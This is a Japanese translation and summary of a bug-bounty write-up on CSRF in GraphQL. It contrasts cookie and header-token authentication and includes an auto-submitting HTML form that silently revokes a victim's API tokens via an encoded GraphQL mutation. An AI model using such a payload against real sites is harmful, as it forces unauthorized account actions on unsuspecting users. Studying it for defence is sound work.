Finding CSRF on Graphql Application から学ぶ

ソース:

medium.com

脆弱性:GraphQL, CSRF

 

訳:

GraphQL は最新の Web アプリケーションでのデータ通信に好まれるツールであることが多いですが、セキュリティ上の問題が伴い。
その 1 つは、クロスサイト リクエスト フォージェリ (CSRF) 攻撃で。
CSRF脆弱性により、攻撃者がユーザーのブラウザで不正なリクエストを行うことが可能になり、重大なセキュリティ リスクが生じる可能性があって。

Cookie と認証トークンの違いについて

 

Cookie ベースの認証

Cookie は、ユーザーがアクセスする Web サイトによってユーザーのブラウザーに保存される小さなデータで。
これらの Cookie には、セッション情報、認証トークン、およびユーザーが Web サイトと対話するために必要なその他のデータが含まれていて。
CSRF のコンテキストでは、Cookie は Web サイトのドメインへのすべてのリクエストに自動的に含まれるため、攻撃者がハイジャックして不正なアクションを実行する可能性があって。

認可トークンベースの認証

認可ヘッダー トークンは、API と組み合わせてよく使用され、Cookie よりも安全な認証方法を提供して。
これらのトークンは通常、認証の成功時にサーバーによって生成され、HTTP 要求ヘッダーに含まれて。
Cookie とは異なり、認証ヘッダー トークンはブラウザーによって自動的に送信されないため、各リクエストに明示的に含める必要があって。

Cookie とは異なり、認証ヘッダートークンはブラウザーによって自動的に送信されないため、CSRF 攻撃に対して脆弱ではありません。
ただし、CSRF 対策トークンや同一サイド Cookie 属性などの適切なセキュリティ対策が実装されていない場合、Cookie と認可ヘッダー トークンの両方が脆弱になる可能性があり。
Cookie でのみ CSRF トークンを送信しても、アプリケーションは安全にならず。Cookie ベースの認証を使用する場合は、anit-csrf トークンもヘッダーで送信するか、認可ヘッダーを使用して認可を行う必要があるためで。

 

Graphql の CSRF 脆弱性のテスト

Cookie と認証トークンの違いを学習したので、graphql アプリケーションで CSRF 脆弱性をどのように発見したかを見てみて。
私が発見した脆弱性は、ユーザーがAPI トークンを作成および削除できる点にあり。
この脆弱性により、ユーザーが作成した API トークンを削除することができて。
以下の PoC の例:

 

<html>
<body>
<h1>DELETE API TOKEN CREATED BY THE USER</h1>
<form action="https://example.com/graphql/">
<input type="hidden" name="query" value="mutation&#32;RevokeApiTokens&#40;&#36;names&#58;&#32;&#91;String&#33;&#93;&#33;&#41;&#32;&#123;&#32;&#32;&#32;RevokeApiTokens&#40;names&#58;&#32;&#36;names&#41;&#32;&#32;&#125;" />
<input type="hidden" name="variables" value="&#123;&quot;names&quot;&#58;&#91;&quot;wearehackerone&quot;&#93;&#125;" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>

私が発見したこの脆弱性は、「高」から「重大」に更新され。
この脆弱性についてあまり多くの情報を提供できない理由は、脆弱性が限定的に公開されているためで。
この記事の目的は、Cookie ヘッダーと認証トークン ヘッダーの違いと CSRF を理解することを簡単に説明することで。

 

ほなほな。